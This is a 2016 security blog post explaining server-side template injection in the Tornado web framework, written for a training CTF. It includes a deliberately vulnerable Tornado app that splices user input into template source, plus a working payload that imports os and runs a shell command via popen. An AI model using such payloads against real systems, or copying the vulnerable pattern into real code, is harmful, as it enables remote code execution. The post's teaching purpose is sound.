Server Side Template Injection in Tornado

Posted by Ajin Abraham on Jul 3 2016

TL;DR

This post explains Server Side Template Injection (SSTI) in Python tornado web framework.


Tornado is a great and easy to use Python web framework for developing dynamic web applications with ease. When it comes to PoC or CTF Challenge creation, tornado is my default choice. Today we will see how Server Side Template Injection (SSTI) can be achieved in Tornado using the default template engine provided with it. Server Side template injections are not a vulnerability in Frameworks. They appear due to insecure code. SSTI can cause the similar impact of a Remote Code Injection attack and results in code execution depending on the templating engine. Modern web applications support templating, a technique that allows to load a file dynamically and render some data or evaluate expressions into certain points in the file and provide it back to the client.

A pseudo code example will be something like Template: abc.html

<html>
 <head><title>Hello {{ name }}</title></head>
 <body>
 Hello FOO
 </body>
</html>

 Application Code: server.py

name = request.GET['name']
template_data = open("abc.html").read()
template = Template.load(template_data)
response.write(template, name='World')

The response generated will be

<html>
 <head><title>Hello World</title></head>
 <body>
 Hello FOO
 </body>
</html>

Server Side Template Injection (SSTI) happens when untrusted user input is passed into template data before rendering is done. For example the vulnerable application code will look like this

name = request.GET['name']
template_data = open("abc.html").read()
template_data = template_data.replace("FOO",name)
template = Template.load(template_data)
response.write(template, name='world')

This can end up in arbitrary remote code execution depending on the templating engine. PortSwigger has put up a blog covering exploit/detection payloads for most of the templating engines like Mako, Twig, Jade, Smarty, Jinja2, Freemaker, Velocity etc. You can read the blog post here: Server Side Template Injection

I was trying to create a CTF related to SSTI for my Live training of WebSecNinja: Lesser known Web Attacks at Hack In Paris. Since the above mentioned template engines and the exploit payloads are well mentioned and easily available in the internet, I wanted  to try something different for the CTF. So I looked into various other templating engines like Django's templating engine, Cheetah, Tornado's template engine etc. It turned out that tornado was a perfect candidate. I couldn't find out a blog post or whitepaper explaining Server Side Template Injection in Tornado. After playing with tornado's template engine, I found that arbitrary code injection via SSTI is possible due to insecure code. This documentation on tornado templating helps a lot in creating an exploit payload.

These are the useful bit from the documentation to create a SSTI exploit for tornado.

{{   }} - Anything coming between {{ and }} are evaluated and send back to the output.

 Example:

{{ "ajin" }} -> ajin

{{ 2*2 }} -> 4


{% import *module* %} - Allows you to import python modules.

 Example:

{% import subprocess %} 

That's all we need to craft an exploit code.

{% import os %}{{ os.popen("whoami").read() }}

For the completeness of the post, let's write a tornado application vulnerable to SSTI. 

server.py

import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
 <head><title> Hello {{ name }} </title></head>
 <body> Hello FOO </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

    def get(self):
        name = self.get_argument('name', '')
        template_data = TEMPLATE.replace("FOO",name)
        t = tornado.template.Template(template_data)
        self.write(t.generate(name=name))

application = tornado.web.Application([
    (r"/", MainHandler),
], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000)
    tornado.ioloop.IOLoop.instance().start()
 Now run the server, python server.py and navigate to http://localhost:8000/?name=ajin


You can see that data is getting dynamically substituted and coming back in the response. Let's try the basic test payload for SSTI. (Varies from templating framework) http://localhost:8000/?name={{2*2}}


And finally the exploit payload http://localhost:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}

Code execution will happen at template interpolation and the result of whoami command is send back in response.


  • Tags: 
  • server side template injection
  • server side template injection in tornado
  • ssti
  • ssti in tornado
  • template injection in tornado

Ajin Abraham

  • |
  • |
  • |

Ajin Abraham is a Security Engineer with 7+ years of experience in Application Security including 4 years of Security Research. He is passionate on developing new and unique security tools. Some of his contributions to Hacker's arsenal include OWASP Xenotix XSS Exploit Framework, Mobile Security Framework (MobSF), Xenotix xBOT, NodeJsScan etc to name a few. He has been invited to speak at multiple security conferences including ClubHack, NULLCON, OWASP AppSec Eu C&C, AsiaPac, BlackHat Europe, Hackmiami, Confidence, BlackHat US, BlackHat Asia, ToorCon, Ground Zero Summit, Hack In the Box and c0c0n.